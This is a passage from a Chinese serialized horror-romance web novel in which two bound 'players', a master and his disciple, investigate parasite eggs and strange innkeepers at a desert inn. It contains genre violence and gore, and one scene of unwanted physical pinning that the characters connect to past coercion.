李裴山满脸的凶肉极其僵硬的在脸上机械的颤抖片刻,老鹰一样的眼睛说不出的残忍狰狞,凶光交错,一闪而过。 楚明铮没有怠慢分毫,借着身体削瘦灵活的优势一跃而起!单手扣杀对方喉管,虎口发力一掐而下! 李裴山“呃啊——”的一声,双目因为剧痛和缺氧而血红暴凸,他抓着手里的火枪,勉强抬起来举着伸出去,然而凌空一股大力袭来,有人使了个巧劲,从一旁别过他的手腕,轻轻松松将整支着枪管劈手夺过。 齐栩掂量了一下沉重的火枪枪筒,枪管外壁滚烫,还在因为方才那一发子弹的射出而隐隐颤动。 “师父,他没子弹了。”齐栩语气轻快道。 “况且他这武力值也不怎么样嘛,连你都打不过,不过是有把枪傍身而已,现在这枪归我了。” 他这一句话登时听的楚明铮心头火起,掐着李裴山的喉管逼迫他仰身动弹不得,顺带屈膝怒顶对方小腹,用力之大屋中几人几乎全能听见李裴山腹腔被挤压时的“咕叽咕叽”声。 “什么叫做连我都打不过!”楚明铮暴怒,拎起李裴山的头颅,将其后脑勺往地上一砸! 李裴山连声都没吭一下,眼睛一翻,就昏迷过去了。 楚明铮喘息着从他身上爬起来,脸色阴沉直面齐栩,一字一句道:“你再给我说一遍,说说什么叫做——‘连我都打不过’?” 齐栩讪笑着将手中火枪递给他:“没事,师父辛苦了,我扶师父回房。” “滚,谁要你扶!”楚明铮断喝一声,侧头顺势瞟了一眼桌角下避难的宋楚秀。 那女人见屋里没了动静,便抬起一双泛着泪水的眸子,声音低哑,仿佛强忍着害怕和慌张一般,细声道:“二位,沙漠里夜间风大,你们把天花板给我捅了个口子出来,晚上可怎么过夜啊……” “待会儿给你修。”楚明铮冷声道。 “这下用不着吃这碗面了吧?”齐栩笑眯眯的补充说道。 “当然,当然,不用了,二位不喜欢呀,我就去给二位做新的食物,你们等着啊!”宋楚秀忙不迭的回厨房去了,李裴山还人事不省的在地上躺着。 楚明铮没再多说其他,转身回房间去了。 齐栩忙不迭的一路小跑,重新跟上他身后。 等到他俩彻底上了二楼合上房门没动静了,厨房才又传来窸窸窣窣的声响。 宋楚秀迈着小碎步,走到了李裴山的面前,她的神情骤然变得如同厉鬼一般凄厉,从一旁拿起盛满面和肉干的饭碗,用力砸到了李裴山双目紧闭的面容上。 一下,一下,汤汁四溅,肉干和面片稀里哗啦全数倾倒,一瞬间灌满了李裴山的鼻孔和微张的嘴巴。 男人蓦然惊醒,圆目怒瞪低吼一声,吓得宋楚秀惊叫着直往后退。 不过他虽然醒了,但是身体因为遭受重创的缘故,暂时还动不了,只能躺在转动着眼睛,拼命去瞪那个厨房门口的女人,试图用锋芒毕露的目光吓住对方,让她别过来,别靠近。 宋楚秀靠在厨房的门槛上,小心翼翼的又确定了一遍他暂时确实,还动不了,于是壮起胆子,返身回到厨房,拎起把菜刀,气势汹汹的直冲出来,往李裴山眉心一悬,秀手握紧就要用力往下劈砍—— 二楼响起一个惊恐的声音。 “你,你要干什么……老板娘?”江寻刚巧推门出来,就看到这一幕。 宋楚秀刚刚升起来的那点勇气登时烟消云散,尖叫一声,撂了刀就跑走了。 …… 齐栩站在屋里,全程注视着看完了过程,直到宋楚秀的身影消失在厨房的门背后,他才轻轻将门缝整个合起来,退回到了屋内。 楚明铮正坐在床上研究那杆火枪。 “师父。”齐栩蔫蔫的走到他身边,在他腿边席地而坐,顺势将脸颊靠在了楚明铮的膝盖上。 “怎么了?”楚明铮用膝盖撞了一把齐栩高挺的鼻梁,回话的语气显得十分冷淡,显然还在因为刚才那句“连你都打不过”而生气。 “我觉得李裴山和宋楚秀有问题。” “那不是显而易见的吗?”楚明铮冷冷道。 “你嫌弃我。”齐栩小声道。 “是的。” “你连一点犹豫都没有。”齐栩委屈道。 “不需要犹豫。” 楚明铮凝神注视着手中的枪管,修长食指摩挲过枪管上细碎的划痕,他此时全服心神都放在另一个事上,无暇理会齐栩。 齐栩见他走神,一时心念电转,行为更大胆了一些。 他伸长脖颈,轻轻将自己的下颌搁在了楚明铮膝头,楚明铮身上洗衣液的清淡香气丝丝缕缕缠绕着浸透他的鼻端,对方匀直修长的大腿被长裤包裹,温暖的体温隐约从布料里渗透出来,仿佛一个半环抱似的温柔乡。 齐栩悄无声息的在这个温柔乡里闭上眼睛,舒服的蹭了蹭自己的脑袋,灵魂都仿佛沉醉期间,不断的下坠,下坠…… “这是我见过最奇怪的副本。”楚明铮对此一无所知,仿佛没感知到齐栩的重量,仍然把玩着枪身思索道。 “情节好像不难猜,但是你知道它哪里奇怪吗?” “嗯……不知道。”齐栩眼睛已经合上了,喃喃低语道。 “这个副本,居然就只有我们两个玩家的存在吗?”楚明铮疑惑道:“宋楚秀看着就不像玩家,是个副本的‘本地人’,李裴山也不正常,没听过谁家副本可以端那么大一支火枪当外挂的,江寻和燕欢……” “你到底有没有在听我说话?”楚明铮不满道。 齐栩懵懂的睁开眼睛:“什么?哦哦听了,听了。” “我刚才说什么了,重复一遍。” “你说这个副本就我们两个玩家,剩下的感觉都不像是活人,你觉得这点很诡异。”齐栩流利的复述了一遍。 楚明铮神色稍缓:“这还差不多。” 他将齐栩盯着看了一两秒,这才注意到对方这个诡异的,趴在自己腿上,像个顺毛小狗一样的姿势。 “你干什么呢!”楚明铮惊道:“多大了你,从我身上起来!” 齐栩被迫让人拎着后脖颈赶出了温柔乡,分外沮丧的滚上了床,抱着小鬼婴熟练的蜷缩起来伤心去了。 楚明铮觉得这人简直脑子有病,靠谱一阵,抽风一阵的,比插电池的遥控器还难搞。 沙漠里的白天时间少的可怜。 没过多久,天就又黑了。 燕欢坐在自己房间里,看起来不太舒服的样子。 江寻已经在床上睡着了,他背对着她,发出均匀的呼吸声。 燕欢很是纠结的在屋里踌躇了片刻,最终还是决定鼓起勇气,推门下楼去了。 “老板娘?您在吗?”燕欢抬起手,轻轻敲了一下宋楚秀的房门,声音不大的问道。 屋子里传来噔噔噔的脚步声,还有披上衣服的沙沙声,门板从里侧被人打开了,露出宋楚秀疲倦但仍然带着笑意的脸。 “在的小姐,您说。” 燕欢双臂环抱,时不时的抖动一下,仿佛身上有点干痒,她小声问:“您这儿有热水吗,我想洗澡。” “对不起啊,给您添麻烦了,可是……可是我太难受了。” 宋楚秀望着眼前小妹妹局促的眼睛,流露出理解的神色,宽容道:“当然可以了,我屋里有木桶,给你拿到浴室去。” “去拿换洗衣服吧,我给你烧水。” 燕欢感激的不知道说什么好,只一个劲的点头。 一刻钟后,燕欢脱了衣服,走到盛着水的木桶旁,小心翼翼的抬腿跨了进去,沙漠里水源稀少,常年生活在这里的老板娘自然而然养成了节约用水的习惯,洗澡水桶里的水位不高,但是刚好够淹没燕欢的身体。 能有热水洗澡,燕欢已经很感激了,并不奢求更多。 她舒展筋骨,在水桶里安静的泡了一会儿,温热的水波让她很舒服,每一寸水纹都仿佛能氤氲进干涩的皮肤里,四肢百骸都随之松散开来。 燕欢在这种氛围下,有点昏昏欲睡。 她半阖着眼睛,将头歪在木桶侧边小憩,迷迷糊糊中水好像变凉了,但是还有点覆盖似的柔和余温,所以燕欢并没有及时睁开眼睛。 直到一阵突如其来的腹痛,惊醒了她的睡梦。 燕欢下意识伸手去捂自己的小腹,光裸的小腹埋在朦朦胧胧的水面下,具体情状看不真切,但是它好像……正在一鼓一鼓的凸起来往外跳。 是的,她没看错,她的肚子在没有任何外力作用,且她本人也毫无作用力的情况下,正在以一个绝对算不上低的频率,一凸,一凹,一凸,一凹……仿佛有主体意识般的起伏跳动。 燕欢惊恐的去捶打自己的肚子,险些将木桶里的水打翻出去。 然而这些举动都无济于事,她的小腹如同一个弹力十足的皮球,跳的十分活泼。 燕欢艰难的伏在木桶边缘,挣扎着想要从桶里爬出去求救。 然而下一秒,她张开嘴巴,不受控制的胃部一阵痉挛,那猛烈的刺激感将她折磨的一时间眼睛翻白,痛苦到了极点。 燕欢好不容易爬了出来,她扶着墙壁,感受到肚子里此刻泛起歇斯底里般的翻涌,下一秒她“哇”一下子,从喉咙里吐出几只半掌大小的肉块,那肉块混杂着胃里的粘液和口水,猩红而恐怖。 这是,这是……燕欢死死盯着自己吐出来的那块恶心的肉物,外形干瘪,红中泛黑,像极了传说中“美人骨血”的外形。 可是她从没吃过美人骨血,连西域女尸的模样更是见都没见过,怎么可能会吐出来这东西? 这绝对不是美人骨血。 燕欢踉跄着从浴桶里迈出来,刚要穿衣服出门找人帮忙。 就在她拿起内衣的前一秒,她忽然察觉到了什么,仓皇中燕欢回头看了一眼浴室的门。 只见浴室的门缝里露出一双狰狞的女人眼睛—— 作者有话说:该死的期末周[爆哭][爆哭]背的头昏脑胀《 》 60-65 第61章 沙漠,干尸(五) “啊啊啊啊…… “啊啊啊啊——” 女人的尖叫一瞬间划破寂静的夜色,将整个客栈的人全数惊醒了。 楚明铮和齐栩同时在床上睁开眼睛,心道不好,出事了,两人从师徒到搭档一起过副本,绑定在一起配合多年,虽然百分之八十的时间里,他俩的关系都好不到哪里去。 小时候是齐栩忌惮畏惧楚明铮,现在是楚明铮对齐栩的粗暴行为心有芥蒂。 他俩从来没有过一段,双方都完全喜欢且信赖彼此的时间。 但是不得不说默契这种东西是可以通过时间磨合出来的。 楚明铮和齐栩虽然对彼此或多或少都有那么一点意见,但是在某些方面的相同性又高的可怕。 就比如此时此刻。 “师父,那个女孩好像出事了。”齐栩一骨碌爬起来穿衣服。 “对,快走,那对年轻情侣是我们问话的关键,不要让李裴山和宋楚秀抢了先。” 燕欢披着衣服,蹲在浴室里瑟瑟发抖。 楚明铮快步走到楼下,小心翼翼的拍门,朝门里喊了声:“姑娘?” 浴室里发出燕欢不小心打滑摔到地上的动静,传来少女惊恐的喘息声。 楚明铮看起来有点担心,他放缓了声音,尽量温和耐心道:“你别怕,把衣服穿好,我们都在外边,有什么事我们出来说,好不好?” 燕欢呜咽一声,显然并不信任他俩。 “我对象呢?”门里传来少女带着哭腔的声音:“江寻怎么不下来找我?” 齐栩和楚明铮都是一怔,不觉愣在原地。 对啊,浴室里动静这么大,燕欢方才又叫的那么惨烈,连他们二楼最靠里的房间都听到了,燕欢的男朋友江寻,为什么一点踪影都找不到? 楚明铮和齐栩疑虑的看了看彼此,最后楚明铮给齐栩递了个眼色,示意他上楼去找江寻。 齐栩没有二话,直接就上楼去了。 楚明铮回身对着门缝安抚燕欢:“我让许祁川上楼找江寻了,别怕,等你男朋友下来就好了,我们在外边等你。” 燕欢在浴室里,盯着一地自己吐出来的肉块和血水,显然更害怕了,比起对于外界未知的恐惧,她更害怕不知道怎么去跟外边的人解释。 解释自己为什么会吐出这些恐怖而血腥的东西。 齐栩很快带着江寻下来了。 下楼的时候齐栩看起来有点面色不虞,他没理会慢吞吞跟在身后的江寻,快步蹿下楼梯,低声对楚明铮道:“师父,这小子说他睡着了,没听到。” “蒙鬼呢这不是,那么大声,咱俩都听到了,他房间就在浴室楼上,他能听不到?” 楚明铮越过齐栩的肩头,朝他身后那个面色苍白的年轻人投去探寻的一瞥,眉心不由自主的蹙了起来。 江寻很明显心不在焉,走过来的脚步轻飘飘的,说不出的虚浮无力,眼睛底下带有两块极其浓郁的乌青,黑眼圈和眼袋重叠在一起,让他看起来活像是只饥饿的大熊猫。 这小年轻仿佛魂被抽走了一样,飘飘忽忽的朝浴室门口走过来了。 齐栩和楚明铮从门口都稍微后退了一步,给他让出了位置来,结果江寻的反应完全出乎他们的预料。 他就站在浴室的门口,什么也不干,什么也不说,就呆滞的站着。 足足过了二十多秒,此人都毫无动静。 楚明铮终于忍不住了,他重重的咳嗽一声,以示提醒。 江寻全然不吱声,仍然像个稻草人一样站在原地,一动不动。 齐栩开口道:“我说哥们,你女朋友刚才在里边受惊了,我们现在不知道什么情况,你要不安慰安慰人家,把她喊出来,咱们一起解决问题?” 江寻木着一双漆色的瞳孔,面无表情的转向了齐栩。 说实话那副神情颇为瘆人,尤其是江寻脸色此时白的跟鬼一样,在沙漠寂静危险的深夜里更显得不同寻常,分外诡异。 齐栩跟他面面相觑,最后干脆抱臂起来,就这么跟此人大眼瞪小眼的对视上了。 过了好一会儿,江寻才慢吞吞的发出一个单音节字:“哦。” 然后他转过身去,举起手掌,仿佛用尽了毕生的力气,抬手重重拍在了浴室的木门上,将门框连带着门板都砸的嗡嗡打颤,发出的声音巨大,颇有一巴掌打碎门板的架势。 连楚明铮都因为这毫无预兆的一声巨响而略微惊了一下,微微朝后仰起身子,用惊奇的目光跟齐栩对视。 两人不约而同的心说这哥们要干什么? 燕欢在浴室里短促的叫喊了两声,惊慌失措,连连后退着往浴室后退去,极致恐惧的盯着紧合的门板。 “哎,这位小哥,你温柔点啊!吓着女孩子了怎么办?”齐栩见状连忙上前,伸手拦住了他要砸第二下的动作。 江寻看起来完全没意识到他在说什么,他的瞳孔呈现着一种机制的凝固状态,这种状态齐栩一般只在副本里的死人身上见过,毫无生机。 可眼前这年轻人很明显是个活人,他胸口的呼吸和脸上肌肉神经质翳动的频率无一不昭示着这一点。 楚明铮深吸一口气,朝齐栩递了个眼色,示意他把这浑浑噩噩的年轻人拽到一边去。 齐栩心领神会,当即不由分说,动手将江寻的肩膀一拎,整个从浴室门板前拖拽开来。 “算啦,朋友,你不会哄小姑娘就让开好了,这点你可不如他。” “我师父最会哄小女孩开心了。”齐栩揶揄道。 楚明铮假装没听到这话,抬手敲了敲浴室的门,再次对里边的燕欢开口了:“姑娘。” "你把门打开,你男朋友已经过来了,我们都在外边,不会伤害你的。"楚明铮耐心的说。 “把门打开,告诉我们你遇到了什么,我们才能更好的规避它。” “否则你怎么能保证,你现在栖身的浴室里就没有危险呢?” 他的最后一句话显然说动了燕欢。 少女惊慌失措的抬起头,将整个浴室环顾了一圈,她只觉周遭更阴暗晦涩了,地板上泛着水光湿漉,头顶阴影交织,每一寸光线照不到的地方,都仿佛蕴藏了无穷无尽的危险。 浴桶旁的水渍里尚且掺杂着血水,鲜红欲滴,呼之欲出一般。 对,浴室里也不是安全的。 哪里都不安全……哪里都隐藏着怪物…… 燕欢尖叫一声,终于被自己的想象力吓破了胆,她倏然跳起来,匆忙光着脚从浴室里夺门而出,身上的衣服还是湿淋淋的,濡湿的衣服黏紧了凹凸的身躯,显露出少女美好的身体线条。 燕欢冲出来的瞬间刚好跟楚明铮打了个照面。 楚明铮愣了几秒,紧接着闪电般移开眼睛,以最快的速度脱下自己的冲锋衣外套,披在了少女身上,后退两步,隔空伸手指了指一旁的沙发,示意她坐下。 那边齐栩刚好松开江寻,回过头来就看到这一幕,他不由眉心一挑,目光从楚明铮的外套上梭巡而过,眼神中流露出几分不甚明显的醋意。 “行了,别管那小子了。”楚明铮低声对齐栩招呼道:“过来坐下。” 齐栩应了一声,没再搭理江寻,从善如流的听楚明铮的吩咐,到炉火旁的沙发上坐下来了。 燕欢坐在他们不远处,仍然惊魂未定的裹着楚明铮的外套,身体泠泠的打着寒颤。 楚明铮也不着急,始终没有开口催她。 他耐心的走到一旁去,拿起老旧柜台上的缸碗,盛了点白天剩下的储水,用火炉旁的钳子轻轻抬起水碗,将碗中凉水来回过了几遍火烤,直到凉水变得热乎乎的了,他才将碗递到燕欢眼前的桌子上。 “我知道你吓着了,先喝点热水缓和一下。” 燕欢看着面前冒着热气的水碗,她看了看楚明铮,又看了看不远处一脸漠然的男朋友,眼圈蓦然一红。 诡谲而阴冷的沙漠里无时无刻都危机四伏,在这种极端危险的情境下,明明自己的男朋友就在身边,可她却只能依靠两个陌生男人。 燕欢越想越委屈,泪珠噼里啪啦的顺着鼻梁往下滚。 “哭出来就好了。”楚明铮安慰她:“没事,没事……” “到底看见什么了,这么害怕?” “我……我吐了。”燕欢一边抽噎,一边断断续续的哆嗦着开口说话。 “吐了?”齐栩警觉。 楚明铮一个眼刀递过去,警告他别打岔。 齐栩吐了一下舌头,乖乖闭嘴。 这边燕欢崩溃的痛哭出声,终于把剩下半句话说完了:“我吐了好多肉……我吐了好多肉……” 此话一出,在场所有人不约而同毛骨悚然。 楚明铮下意识问了一句:“在哪儿?” 他原本以为是这姑娘受惊过度,胡言乱语了,然而燕欢接下来的反应却让他不得不信。 “那儿,就在浴室里……都是我吐的肉,我吐了好多肉……我现在感觉我肚子里全都是那种黑色的肉块,它们一直在动,一直在我肚子里蠕动,蠕动……” “怎么都停不下来。”燕欢带着哭腔问道:“为什么会这样,我什么都没有乱吃啊……我是不是要死了?” 楚明铮幅度不大的侧头,和齐栩交换了一下目光。 “不会死的。”他转回头,尽量温和轻松的安慰燕欢:“你跟我们同吃同住,我们都没事,你也不会有事的。” 燕欢哽咽两声,再次捂着胸口干呕起来,然而这回却什么都吐不出来了。 楚明铮抬手在她肩头安抚性的一按,随即目光一凛,起身往浴室里去了。 浴室里一片湿滑的水渍,衣架上几块毛巾,泛着陈旧的黄迹,地板上还有燕欢刚才跑出去时,不慎落下的足印。 就在那几块足印旁边,很稀疏的散落着几块血迹。 血迹顺着地面上的水纹,一圈一圈的蔓延开来,而血水最浓郁的地方,此时正零零碎碎的躺着几块黑色的血肉—— 作者有话说:终于考完最后一门了! !我放寒假了! ! !飞机上写的更新,头晕眼花中… 第62章 沙漠,干尸(六) 我们吃了一个老太太…… 楚明铮目光凝重,缓缓在浴室里蹲了下来。 黑色的肉块上包裹着丝丝缕缕的银线黏液,其中夹杂着猩红的血丝,也不知道是燕欢吐出来的,还是肉块本身就有的。 那肉块此时仿佛有生命一样,躺在浴室的地板上,一下,一下的蠕动着。 楚明铮环顾四周,没找到趁手的工具,于是转身回屋,从火炉旁拿了把钳子,又要返回浴室里。 齐栩见他神色不妙,下意识跟着起身,打算跟着楚明铮一道进去。 然而楚明铮路过他的时候状似无意的将齐栩推了一把,逼他坐回了沙发上。 “看好他俩,等我出来。”楚明铮几乎不动嘴唇的说。 齐栩无奈,只好点点头坐下了。 楚明铮手里握着钳子,转身走回了浴室。 他重新在浴室里蹲身下来,直视着水洼里的那一摊肉,深吸了一口气,将钳子伸出去触碰到了软肉的边缘。 那是一种很奇妙的触感,不同于一般过年杀猪案板上的肉类,眼前的这几滩呕吐物一样的肉块此时正趴卧在地上,外表皮已经因为长时间暴露在空气中而氧化发黑了,通体鼓鼓囊囊,不停的有新的肉质从肉块里部挣扎着蛄蛹出来,血块翻涌,黑的红的交织在一起,散发出无与伦比的恶臭气息。 楚明铮面不改色。 为了看的更清楚,他又特意上前了一步,手指用力,操控着钳子一把撕开了离他最近的那只泛红的血色肉块。 空气里的味道更难闻了。 肉块外表皮的黑色氧化物和最初被呕吐物包裹的黏液一齐划出一道清晰如刻的裂纹。 肉块挣扎着张开“嘴”,也就是那道裂纹,少倾“哇……”的一响,从裂纹的缝隙里吐出含着分泌液的黑色碎物。 楚明铮动作敏捷的往后一跳! 刚好躲开了迎面而来的那几块黑色的颗粒状物。 黏液包裹着黑颗粒擦着他的脸颊飞过去了,楚明铮没来得及看清那是什么东西,脚下地面全积的是水,湿漉漉的直打滑。 楚明铮躲闪的空隙脚下被绊了一个趔趄,往后仰着摔了一下。 身后有人眼疾手快将他后背一托,稳稳捞住扶好了。 “你小心点啊师父。”齐栩松开手,检查了一下他的腿脚确定没事了,才开口埋怨道:“我就说我不放心你一个人进来。” “我让你在外边看着他俩,你进来添什么乱。”楚明铮拍了一下腿上的水渍,不甚在意的回道。 他此时满心满眼都凝聚在地板上那些黑色的小颗粒状物上,拎着钳子就俯身下去了,完全没心思注意齐栩。 齐栩没办法,只得跟他一起蹲下来看。 经过楚明铮的一番折腾,浴室里的场景更脏污惨烈了,黑色颗粒混合着红色肉块,再被地上的水一浸透,完全是一片狼藉。 齐栩嫌弃的踮起了脚尖,磨磨蹭蹭的从地上站起来,想拉楚明铮出去。 “哎我没研究完呢。”楚明铮心不在焉的将他往门外打发,自己的目光一直没从地上离开。 “有什么好研究的,那不就是虫卵吗?”齐栩继续试着把他拖起来。 楚明铮神情一愣。 “虫卵?” “对啊。”齐栩无辜道:“黑色血吸虫的虫卵,昨晚袭击我们的那个。” 楚明铮视线下移,落到那些细小的黑色颗粒物上,半晌如梦初醒。 对啊,虫卵和虫都是吸附在人体血肉之上生存的,活的成年血吸虫大股大股的撕咬断手残肢,直到把那只手噬咬的只剩皮囊为止。 而尚未孵化的血吸虫虫卵,则不知道出于什么渠道,被放置到了燕欢的体内。 假以时日,必然破体而出,把少女从腹腔到骨架内脏统统侵蚀干净。 楚明铮的神色更凝重了。 也不知道那女孩吐了这么多肉,把虫卵吐干净了没有? 要是吐不干净,可就麻烦了。 齐栩仿佛看出了他的隐忧,于是伸手轻轻将楚明铮的掌心一握,柔声道:“师父。” “嗯?” “你别忘记你昨天的推论。” “我每天说的话多了,你说哪句?”楚明铮手上捏着钳子,有一搭没一搭的思忖着。 齐栩笑了笑,轻声开口,将昨晚那个极其瘆人的推测又重复了一遍:“这个副本里,只有我们两个活人。” 楚明铮呼吸一紧,却没有反驳这点。 “所以,不要为他们担心。”齐栩和煦的道。 “你在这个副本里要保护的人,自始至终,就我一个而已。” 楚明铮终于匪夷所思的转头瞥了他一眼,属实是被此人的不要脸程度给震惊到了。 谁需要保护? 你吗? 不好意思,真没看出这个需求啊。 两人鱼贯从浴室里出来了,燕欢和江寻各自分坐在沙发一侧,谁都没有靠近谁,全然一副不太熟的模样。 燕欢看见楚明铮和齐栩出来了,哭红的眼睛随之一亮,她怯生生的开了口:“你们……有什么发现吗?” 楚明铮和齐栩不约而同的摇了摇头:“没有。” 燕欢失望的垂下眼睛,过了没多久,眶中水汽再次凝结,看起来最后一丝希望也破灭了。 “怎么办,我不会吐出来的是美人骨血吧?”她紧紧揪着衣服的下摆,喉咙里是压抑而克制的哽咽,刚开始还在努力压抑,到后来越克制越止不住,巨大的惊恐和悲伤仿佛泰山压顶,将她的神志倾轧而过。 沙发那头的江寻忽然动了动,始终呆滞的眼神终于出现了一丝活泛的气息。 他缓慢的转向女友,将她的话重复了一遍:“你说,你吃了美人骨血……?” 他开口的这一举动显然让燕欢安心了不少,少女匆忙一抹眼泪,急急的解释道:“不,不是,我只是担心……毕竟我吐出来的东西长得那么奇怪,跟传说中的美人骨血一模一样。” “可那东西听起来那么诡异,怎么会从我肚子里出来……我好害怕,我,我……” “不会的。”齐栩打断道。 燕欢仍然在兀自掉眼泪,没在意他说的是什么。 “你跟我们同吃同住,又没出过这个客栈的门,怎么会有事呢。”楚明铮插话说道。 他的声音跟齐栩比起来要温润柔和的多,而且因为年岁稍长的缘故,声音里没有齐栩那种年轻人的轻佻,反而沉稳意味十足,让人无端的就能安心下来。 燕欢抽噎着抬眼看向楚明铮,默默的点了点头。 屋里再次陷入安静。 围炉里火苗小幅度的跃动着,在空中散发出温暖的柔光,四个人相对沉默着聚在一起烤火取暖。 其实如果抛开前半段,单看这一幕的话,场景居然还挺温馨的。 可惜偏偏有人唯恐天下不乱。 “不会有问题的。”齐栩幽幽的开口了。 “美人血骨可不是那么容易得到的……我们这行人千里迢迢跑这么远,不就是为了这东西来的么?” “难不成我们费这么大劲,万里追寻的宝藏就在你肚子里?”齐栩戏谑道。 “想想就不可能。” 楚明铮脸色微变,回头瞪一眼齐栩,无声的问他,你这种时候说这个干什么? 你这不是挑事吗? 燕欢的脸色唰的一下白了,她下意识伸手去捂自己的肚子,惶然道:“不,不可能……不可能的事,你在说什么?” 江寻明显也把这话听进去了,他机械性的抬起头,转动脑袋,今天晚上第一次将正脸移动到了女友的方向。 “美人骨血在哪儿?”江寻茫然的看着女友。 “我不知道。”燕欢急切的回答:“我真的不知道!” “她真的不知道。”齐栩善解人意的帮腔了一句。 “你……”燕欢又气又急,转头对齐栩嗔怒道:“谁要你说话了?!” 齐栩笑了笑,伸手拽起一旁的楚明铮,不容置疑的强行要师父跟他走:“行,那我不讲话咯,我上楼睡觉,这总可以了吧?” 楚明铮显然不放心这女孩跟她疯疯癫癫的男朋友单独呆在一起,想要留下看顾她片刻,奈何齐栩的力气太大了,他挣动了两下,仍然被拽着踉跄几步,不得不顺着齐栩的力道跟他走。 齐栩回过头,压低声音凑近了楚明铮,半哄半劝道:“走啦,师父,上去有事跟你说。” 楚明铮显得十分恼怒,但是也无可奈何,只好跟他一起上去了。 两人回到二楼的房间里,将门板一合,所有的杂音霎时被关在了外边。 “你到底作什么幺蛾子?”楚明铮恼火道。 “那个叫江寻的小伙子精神状态明显堪忧,我们一走,今天晚上万一再出事怎么办?” “那就让他出。”齐栩笑着道。 楚明铮沉了脸色:“你什么意思?” “你自己不也推测出来了吗师父?”齐栩摊了一下手:“这个副本只有我们两个活人。” “既然只有两个活人,那就说明这里发生的一切都是演给我们俩看的,就像是一场话剧,台下只有我们两个人,剩下的人,全都是演员。” 楚明铮神情微微凝固了起来,他知道齐栩说的是对的。 “既然人家是演员,我们是观众,那咱观众就要有当观众的自觉,要给演员留有充足的化妆打扮,切换场地的时间,你见过观众追到后台盯着人家做妆造过程看的么?” 楚明铮:“……” “你看,没有对吧。”齐栩从他的神情里读出了几分不耐烦。 但是他仍然不怕死的继续道:“所以说,观众要跟演员保持距离,要把握合适的分寸感,不要越界。” “一旦越界了你就会发现,无论在台上多么粉饰雕琢的人物和惊天动地的剧情,它后台的准备过程和排练部分,都是蹩脚而滑稽的。” 楚明铮终于忍无可忍,从床上抄起枕头对准此人照面就砸:“就你话多。” 齐栩笑着偏头去躲楚明铮的殴打,两人在床畔四下一追一打来回蹿了几圈,最后以齐栩侧身避过迎面而来的枕头,顺势将楚明铮的腰身一捞,不由分说强行拉拽着搂到自己身前告终。 楚明铮气喘吁吁的被他将腰身扣住,手中枕头也被人夺了过去。 齐栩眼中浮现出一抹蔫坏,他黏糊糊的就着这个一只手扣住楚明铮腰身的姿势,顺势将人从床畔推倒在床上,紧接着他搂住楚明铮腰身的那只手猛然发力,逼迫楚明铮闷哼一声,将腰抬了起来。 齐栩趁着这个空档,直接将枕头塞在了他师父的腰下。 楚明铮整个人浑身一个激灵,打了个哆嗦。 他下意识就伸手去推齐栩,试图将枕头从身体底下拖着拿出来。 齐栩没给他这个机会,他将楚明铮手腕一扣,屈膝抵在对方两腿中央,不偏不倚阻止了他反抗的动作。 “师父,别拿出来嘛。”他小声道。 “这床板太硬了,我担心你腰疼才给你垫个枕头呢。” “滚!”楚明铮气的眼睛发红,白皙的手腕在齐栩的桎梏下泛出几缕红痕,又因为他实在太过用力,反抗的气喘吁吁,青筋暴起。 “你他妈担心我腰疼——说这话你自己也不嫌心虚?” 齐栩把脸埋进他的锁骨里闷闷的笑,低声道:“好吧,原来师父也没忘,我还以为人死而复生之后对前世的记忆会有所模糊呢。” 楚明铮冷着脸将脑袋别了过去,半晌疲倦道:“从我身上下去。” 齐栩端详了一下他的脸色,见他确实情绪不高,就赶紧一骨碌下床去了,小心翼翼的蹲在床边,又将楚明铮扶了起来。 “师父,你别生气啊,以前的事我……” “以前的事你不提我就不会主动跟你计较。”楚明铮冷冷的说。 “除非你自己非要复刻以前的恶劣行为,逼我跟你翻旧账。” 齐栩抹了抹鼻尖,蔫头巴脑的说了声对不起。 楚明铮烦躁的摆了摆手,示意他少来这一套。 齐栩以前就喜欢往他腰下垫个枕头,逼着他抬高腰身,将潮红的脸庞和脖颈悉数暴露在自己眼睛里,楚明铮恨透了这个姿势,刚刚这一下显然又勾起了他糟心的回忆。 过往如同砒霜,毫不留情的在他心口扎戳。 小鬼婴在床榻上伸了个懒腰,从睡梦中醒来了,一双黑漆漆的眼睛滴溜溜的转,很快锁定了坐在床畔的楚明铮,于是咯咯笑着朝楚明铮爬去。 楚明铮正陷在自己的烦躁情绪里出不来,冷不防身后有一只冰凉的小手将他一抱,瞬间将他冻的一个哆嗦,回过神来。 他转身过去拎起小鬼婴,叹了口气,低头跟他说话:“你怎么又醒了?” 小鬼婴动了动嘴唇,咿咿呀呀着仿佛又要说话。 楚明铮心里警铃大作:“你要说什么?不许喊那个称呼啊,我警告你。” 小鬼婴倏然笑了,脸上荡漾开来两个小酒窝,他睁着眼睛,十分清晰的喊了对面的男人一声。 声音清亮,稚气而真挚:“妈妈。” 楚明铮的表情再次裂开了。 齐栩原先还因为自己做错了事,委顿在一边,低眉顺目做反思状,此时听到小鬼婴对着楚明铮梅开二度,实在是没忍住,低头笑了几声。 楚明铮回头对他怒目而视。 齐栩瞬间收了笑意,小声辩解道:“他喊的妈妈,师父你瞪我干什么。” 小鬼婴挣开楚明铮抓他的那只手,呈八爪鱼状在楚明铮身上乱爬。 楚明铮这人一向惯小孩,当年也是这么惯楚小妙的,虽然小鬼婴生理性别为男,但是他是个不满两岁的软骨爬行动物,暂时可以得到和楚小妙一样的优待。 再过几年,等他长得像齐栩当年那么大的时候,估计就没有这等待遇了。 齐栩怜悯的心想。 “你觉不觉得他长得速度有点太快了。”齐栩借着小鬼婴捣乱的机会,磨蹭两步挪到楚明铮身前,试图岔开刚才的话茬。 “哪有小孩子刚出生不到一个星期就会喊妈妈,会满床乱爬的?”齐栩疑惑道。 楚明铮耐心的扶住小鬼婴的手,防止他在自己身上攀爬到一半不小心给滑下去。 “那你估计是忘了他是怎么出生的。”楚明铮扶着小鬼婴随口道:“他在我肚子里一共呆了不到三天,你见过怀胎三天就出生的婴儿?” “没见过。”齐栩诚恳道。 “怀胎三天就生了,他现在一天的长身体速度抵别人一年有什么稀奇的?” 齐栩点了点头,慎重道:“好像也是。” 两人盯着小鬼婴沉默了一会儿,齐栩忽然又道:“师父。” “说。” “我们给他起个名字吧。” “不起。”楚明铮干脆利落道。 “为什么不起?”齐栩委屈:“你难道要叫孩子一辈子‘鬼婴’吗?” “你自己也说了,他是鬼,不是人,有什么起的必要?” “可……” “我说了不起就是不起。”楚明铮提高声音:“想起名字自己生去。” 这话简直了,杀敌八百,自损一千。 齐栩:“……” “生不了,下次进副本有机会生着试试,现在生不了。”齐栩悻悻道。 